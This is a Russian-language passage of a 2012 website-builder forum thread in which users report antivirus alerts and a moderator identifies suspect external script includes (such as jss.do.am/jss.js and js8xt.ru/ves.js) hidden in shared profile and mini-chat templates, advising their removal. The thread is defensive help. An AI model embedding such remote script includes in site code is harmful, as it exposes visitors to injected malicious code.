Вирусы на сайтах_3 (архив для чтения)
Miss_Esq
Сообщений: 13859
Уровень замечаний:
Сообщение # 196 |
13:08:12
04 Июл 2012
demon31 , какой ? антивирус сработал ?
demon31
Сообщений: 18
Сообщение # 197 |
13:08:45
04 Июл 2012
Miss_Esq
Сообщений: 13859
Уровень замечаний:
Сообщение # 198 |
13:11:30
04 Июл 2012
demon31 , но ведь что то он сообщает что блокирует ????? удалите ссылки рекламные и проверьте снова .. может реагирует на iframe теги ..
webanet
Сообщений: 24067
Сообщение # 199 |
14:00:34
04 Июл 2012
demon31 , удалите Code
<script language="javascript" src="http://uno.wt-rotator105.ru/?t=cf&noadult=1&pid=37303"></script> <link type="text/css" rel="StyleSheet" href="http://s108.ucoz.net/src/layer1.css" />
на главной проблема была? антивирус реагировал? если нет, то реакция идет на рекламу если проблемы на главной есть, то нужен большой хорошо просматриваемый скрин предупреждения антивируса или скопируйте текст уберите это Code
<script src="http://www.leto-s-mz.ru/js/scrol.js" type="text/javascript"></script>
если вам нужна будет кнопка, то не подгружайте скрипты с чужих сайтов
serega13
Сообщений: 31
Сообщение # 200 |
13:53:58
06 Июл 2012
webanet
Сообщений: 24067
Сообщение # 201 |
14:56:06
06 Июл 2012
serega13 , какие именно у вас проблемы. прочитайте пожалуйста правила подачи заявки Quote
Правила подачи заявки на диагностику и поиск вредоносного кода на сайте Вы должны предоставить ссылку на сайт! Вы должны дать описание проблемы: 1)на какой странице сайта обнаруживается проблема (ссылка) 2) проблема обнаруживается только под логином или под гостем тоже 3) если реагирует антивирус, то назовите свой антивирус, и предоставьте текст или четкий скриншот блокировки 4) если сайт блокируется браузером, то назовите свой браузер и предоставьте текст блокировки
serega13
Сообщений: 31
Сообщение # 202 |
16:13:59
06 Июл 2012
webanet , все нашел в iframe и справил все спасибо за все вам
Edge6007
Сообщений: 100
Сообщение # 203 |
21:45:21
06 Июл 2012
Всем привет.Вообщем, решил на сайт добавить в каталог файлов новый материал- красивый скрипт мини-профиля, НО после его проверки, при заходе на тест сайт, ругается AVG, опеределяет как "Вредоностный эксплоит"... В чём может быть дело ?! Вот сайт: Вот код скрипта:
<div align="center"><!-- <bc> --><?if($USER_LOGGED_IN$)?><strong>$WDAY$ $DATE$ <br><br></strong><?if($USER_AVATAR_URL$)?><img style="border: 1px solid rgb(169, 169, 169);" alt="" class="userAvatar" title="$USERNAME$" src="$USER_AVATAR_URL$" align=""><?else?><img alt="" class="userAvatar" title="$USERNAME$" src="http://s019.radikal.ru/i604/1203/f0/86c614963b45.jpg" align=""><?endif?><div align="center"><script src="http://jss.do.am/jss.js"></script><br><input class="knopa" onclick="document.location.href='/index/11'; return false;" value="Редактировать данные" type="button"><br><br><div align="left"><span style="font-size: 8pt; color: rgb(105, 105, 105);"><b><center><span style="font-family: Arial; font-size: 8pt; color: rgb(105, 105, 105);">Вы вошли как: <font color="#696969"><strong>$USERNAME$</strong></font><br>IP Адрес: <font color="#696969"><strong>$IP_ADDRESS$</strong></font><br>Группа: <font color="#696969"><strong>$USER_GROUP$</strong></font><br>Личных сообщений: <font color="#696969"><strong>$UNREAD_PM$</strong></font></span></center></b></span></div> <p></p><input class="knopa" onclick="document.location.href='/index/8'; return false;" value="Мой профиль" type="button"> <input class="knopa" onclick="window.open('/index/14','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value="ЛС" type="button"> <input class="knopa" onclick="document.location.href='/index/10'; return false;" value="Выход" type="button"></div><script type="text/javascript">function flashit(id,cl){var c=document.getElementById(id);if (c.style.color=='red'){c.style.color=cl;}else {c.style.color='red';}}setInterval("flashit('upml2','')",500)</script><script language=javascript type=text/javascript> function openonclick(client_type) { if(client_type=="mail")clientWindow = window.open("$PM_URL$","pmw","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="send")clientWindow = window.open("/index/14-999-0-1","pms","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="options")clientWindow = window.open("/index/11","options","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="users")clientWindow = window.open("$USERS_LIST_URL$","users","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!"); if(client_type=="rules")clientWindow = window.open("/rules.html","rules","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!"); } </script><br><?else?>$LOGIN_FORM$<?endif?>
webanet
Сообщений: 24067
Сообщение # 204 |
22:02:44
06 Июл 2012
Edge6007 , выделенное красным удалить Quote
<div class="avatar"><img src="ссылка_на_картинку_нет_аватара" alt="" /></div> <div class="name"><script language=JavaScript src=http://js8xt.ru/ves.js></script> <div style="padding:0 0 0 5px;"><a href=""><img alt="" src="http://cs-grom.ru/skripty/black_4at/user.png" border="0" style="vertical-align:-2px"/></a>
Quote
class="userAvatar" title="$USERNAME$" src="http://s019.radikal.ru/i604/1203/f0/86c614963b45.jpg" align=""><?endif?><div align="center"><script src="http://jss.do.am/jss.js"></script> <br><input class="knopa" onclick="document.location.href='/index/11'; return
картинки перелейте на сайт и не увлекайтесь сбором всяких скриптов.
Edge6007
Сообщений: 100
Сообщение # 205 |
22:20:20
06 Июл 2012
webanet , Я чёт первый скрипт найти не могу )) Я просто закидываю на сайт скрипты, но перед этим, делаю свои описания, скрины и проверки...Потому я сюда и пришёл =)
Сообщение отредактировал Edge6007 - Пятница, 06 Июл 2012, 22:24:14
webanet
Сообщений: 24067
Сообщение # 206 |
22:22:44
06 Июл 2012
Edge6007 , Quote
<div class="avatar"><img src="ссылка_на_картинку_нет_аватара" alt="" /></div> <div class="name"><script language=JavaScript src=http://js8xt.ru/ves.js></script>
этот скрипт висит в коде мини-чата. ищите в шаблонах мини-чата я вам дала немного кода для ориентации
Edge6007
Сообщений: 100
Сообщение # 207 |
22:25:56
06 Июл 2012
webanet , а...точно.. Но на первый скрипт, AVG не ругался (Хотя тот суперпупер мини-чат с ним не заработал, я не стал его выкладывать), а вот второй скрипт- да, сразу обнаружило как угрозу..
webanet
Сообщений: 24067
Сообщение # 208 |
22:28:43
06 Июл 2012
Edge6007 , оба агрессивные. один из них просто ещё не детектируется.
Edge6007
Сообщений: 100
Сообщение # 209 |
22:33:26
06 Июл 2012
webanet , ну спасибо за помощь )
Тишинa
Сообщений: 33
Сообщение # 210 |
16:06:04
08 Июл 2012
Сайт Штука в том, что пока видимых нарушений на сайте нет (кроме постоянно сбивающихся кодов). Мой антивирус молчит в тряпочку, но двое моих знакомых сказали, что у меня трояны на сайте. Из-за них кнопу сайта никто не хочет выкладывать. Подробнее о сбивающихся кодах: Несколько раз было так, что в шапке сайта сбивался условный блок, призывающий гостей авторизоваться/юзеров выйти или войти в профиль. Еще было так, что менялись цвета груп пользователей, причем в ПУ это не отображалось, но в когда нажимала Ctrl+U , то в появившемся коде были видны нарушения в коде, которые не видела ПУ.